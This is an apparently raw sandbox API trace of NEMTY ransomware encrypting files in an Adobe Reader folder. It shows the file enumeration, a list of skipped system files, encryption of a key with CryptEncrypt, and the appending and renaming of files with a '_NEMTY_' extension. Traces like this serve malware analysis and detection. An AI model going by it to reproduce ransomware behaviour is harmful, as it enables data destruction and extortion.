pszString="L1qQjuyWexJ9uZCp2pytrpLLhMV0ttbfmUD+rpnjvYZ0+T2nwZLtc5trOX1edq1t\r\nealjdwttZrWzFg1hNCPER9Je6RsT7SwTW6FW6fWU5x3RIT1Nnu3z4C9XS5e4GBFS\r\nVb7PWmVy0997rkveZ8CirKXWqHVlGH3yAq69Am5Vdv8j/cTsjMOLiusCNrBtsJQB\r\npzTrX38tDJn9hvmo9COxYk2nEA8vIIoahL0pHwJEzo5ScC8XTTI4mibomKul4WA9\r\nJh0BQZMw3E/7F0JREKdUfqNTK9MCkRkfFIZAgtJKZ8r1y9yPs7lFSuLue9ypY11g\r\nnca3rG2QDPaATVEgicFaeA==\r\n", pcchString=0x653e5dc) returned 1 [0177.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0177.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.621] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\PDDom.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\pddom.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.622] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11776) returned 1 [0177.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2e00) returned 0x6352c48 [0177.622] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.622] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2e00, lpOverlapped=0x0) returned 1 [0177.625] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.625] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2e00, lpOverlapped=0x0) returned 1 [0177.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.625] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2e00 [0177.625] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.625] CloseHandle (hObject=0x2e8) returned 1 [0177.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0177.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.625] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0177.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0177.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0177.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.625] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\PDDom.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\pddom.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\PDDom.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\pddom.hrv._nemty_kgobjgd_")) returned 1 [0177.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0177.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0177.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0177.626] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7e400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PPKLITE.HRV", cAlternateFileName="")) returned 1 [0177.626] lstrcmpiW (lpString1="PPKLITE.HRV", lpString2=".") returned 1 [0177.626] lstrcmpiW (lpString1="PPKLITE.HRV", lpString2="..") returned 1 [0177.626] lstrcmpiW (lpString1="PPKLITE.HRV", lpString2="...") returned 1 [0177.626] lstrcmpiW (lpString1="PPKLITE.HRV", lpString2="windows") returned -1 [0177.626] lstrcmpiW (lpString1="PPKLITE.HRV", lpString2="$RECYCLE.BIN") returned 1 [0177.626] lstrcmpiW (lpString1="PPKLITE.HRV", lpString2="rsa") returned -1 [0177.626] lstrcmpiW (lpString1="PPKLITE.HRV", lpString2="NTDETECT.COM") returned 1 [0177.626] lstrcmpiW (lpString1="PPKLITE.HRV", lpString2="ntldr") returned 1 [0177.626] lstrcmpiW (lpString1="PPKLITE.HRV", lpString2="MSDOS.SYS") returned 1 [0177.626] lstrcmpiW (lpString1="PPKLITE.HRV", lpString2="IO.SYS") returned 1 [0177.626] lstrcmpiW (lpString1="PPKLITE.HRV", lpString2="boot.ini") returned 1 [0177.626] lstrcmpiW (lpString1="PPKLITE.HRV", lpString2="boot.ini") returned 1 [0177.626] lstrcmpiW (lpString1="PPKLITE.HRV", lpString2="AUTOEXEC.BAT") returned 1 [0177.626] lstrcmpiW (lpString1="PPKLITE.HRV", lpString2="ntuser.dat") returned 1 [0177.627] lstrcmpiW (lpString1="PPKLITE.HRV", lpString2="desktop.ini") returned 1 [0177.627] lstrcmpiW (lpString1="PPKLITE.HRV", lpString2="CONFIG.SYS") returned 1 [0177.627] lstrcmpiW (lpString1="PPKLITE.HRV", lpString2="RECYCLER") returned -1 [0177.627] lstrcmpiW (lpString1="PPKLITE.HRV", lpString2="BOOTSECT.BAK") returned 1 [0177.627] lstrcmpiW (lpString1="PPKLITE.HRV", lpString2="bootmgr") returned 1 [0177.627] lstrcmpiW (lpString1="PPKLITE.HRV", lpString2="programdata") returned -1 [0177.627] lstrcmpiW (lpString1="PPKLITE.HRV", lpString2="appdata") returned 1 [0177.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.627] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.627] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.HRV", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.HRV", lpUsedDefaultChar=0x0) returned 11 [0177.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.627] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.627] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.HRV", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.HRV", lpUsedDefaultChar=0x0) returned 11 [0177.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.627] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.627] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.HRV", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.HRV", lpUsedDefaultChar=0x0) returned 11 [0177.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.627] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.627] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.HRV", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.HRV", lpUsedDefaultChar=0x0) returned 11 [0177.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0177.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.627] Sleep (dwMilliseconds=0x5) [0177.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d868dd0, dwHighDateTime=0x1d561e8)) [0177.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d868dd0, dwHighDateTime=0x1d561e8)) [0177.635] GetLastError () returned 0x0 [0177.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.635] GetLastError () returned 0x0 [0177.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.635] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.635] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.635] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.635] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="4OxPoPccp0Q+AI0I1ngNvcxqD9qnPIshbVVJJD3jQmSmdlnufUEzJ8rKGSvzg7EG\r\nKwH2Whb6o5mEt8HSUxgoXFPioXt92tIgAnFmOBJ5TIIgFOyH0Lv7wSKljZbcXoGV\r\nkc0XVC+bEi1cQPwyp4OSCd0bgx5zZD/N4arBCSr4GxYsoskFwrhSS1iVOFpBDbjX\r\n9tPyt3Yun+Ha0Q8bPl5SaAe7xSD2zHvHaUmIhgmC16AOUQAp/MzGs+jZdx7M6qsR\r\nxNZP6fJTo7+18t3BxIRbO4L2/zDWHicN1CgL1hiJe31UyeMbG8rnn4w6Bd+CQ8kE\r\n4dz+yRBVPjqtWXRJ60jZOA==\r\n", pcchString=0x653e5dc) returned 1 [0177.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.636] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\PPKLITE.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\ppklite.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.636] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=517120) returned 1 [0177.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0177.636] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.636] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0177.645] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.645] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0177.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.645] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=517120, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7e400 [0177.645] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.647] CloseHandle (hObject=0x2e8) returned 1 [0177.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.647] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\PPKLITE.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\ppklite.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\PPKLITE.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\ppklite.hrv._nemty_kgobjgd_")) returned 1 [0177.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.648] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14a200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RdLang32.HRV", cAlternateFileName="")) returned 1 [0177.648] lstrcmpiW (lpString1="RdLang32.HRV", lpString2=".") returned 1 [0177.648] lstrcmpiW (lpString1="RdLang32.HRV", lpString2="..") returned 1 [0177.648] lstrcmpiW (lpString1="RdLang32.HRV", lpString2="...") returned 1 [0177.648] lstrcmpiW (lpString1="RdLang32.HRV", lpString2="windows") returned -1 [0177.648] lstrcmpiW (lpString1="RdLang32.HRV", lpString2="$RECYCLE.BIN") returned 1 [0177.648] lstrcmpiW (lpString1="RdLang32.HRV", lpString2="rsa") returned -1 [0177.648] lstrcmpiW (lpString1="RdLang32.HRV", lpString2="NTDETECT.COM") returned 1 [0177.648] lstrcmpiW (lpString1="RdLang32.HRV", lpString2="ntldr") returned 1 [0177.648] lstrcmpiW (lpString1="RdLang32.HRV", lpString2="MSDOS.SYS") returned 1 [0177.648] lstrcmpiW (lpString1="RdLang32.HRV", lpString2="IO.SYS") returned 1 [0177.648] lstrcmpiW (lpString1="RdLang32.HRV", lpString2="boot.ini") returned 1 [0177.648] lstrcmpiW (lpString1="RdLang32.HRV", lpString2="boot.ini") returned 1 [0177.649] lstrcmpiW (lpString1="RdLang32.HRV", lpString2="AUTOEXEC.BAT") returned 1 [0177.649] lstrcmpiW (lpString1="RdLang32.HRV", lpString2="ntuser.dat") returned 1 [0177.649] lstrcmpiW (lpString1="RdLang32.HRV", lpString2="desktop.ini") returned 1 [0177.649] lstrcmpiW (lpString1="RdLang32.HRV", lpString2="CONFIG.SYS") returned 1 [0177.649] lstrcmpiW (lpString1="RdLang32.HRV", lpString2="RECYCLER") returned -1 [0177.649] lstrcmpiW (lpString1="RdLang32.HRV", lpString2="BOOTSECT.BAK") returned 1 [0177.649] lstrcmpiW (lpString1="RdLang32.HRV", lpString2="bootmgr") returned 1 [0177.649] lstrcmpiW (lpString1="RdLang32.HRV", lpString2="programdata") returned 1 [0177.649] lstrcmpiW (lpString1="RdLang32.HRV", lpString2="appdata") returned 1 [0177.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.HRV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.HRV", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.HRV", lpUsedDefaultChar=0x0) returned 12 [0177.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.HRV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.HRV", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.HRV", lpUsedDefaultChar=0x0) returned 12 [0177.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.HRV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.HRV", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.HRV", lpUsedDefaultChar=0x0) returned 12 [0177.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.HRV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.HRV", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.HRV", lpUsedDefaultChar=0x0) returned 12 [0177.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.649] Sleep (dwMilliseconds=0x5) [0177.650] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d88ef30, dwHighDateTime=0x1d561e8)) [0177.650] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d88ef30, dwHighDateTime=0x1d561e8)) [0177.651] GetLastError () returned 0x0 [0177.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.651] GetLastError () returned 0x0 [0177.651] RtlAllocateHeap 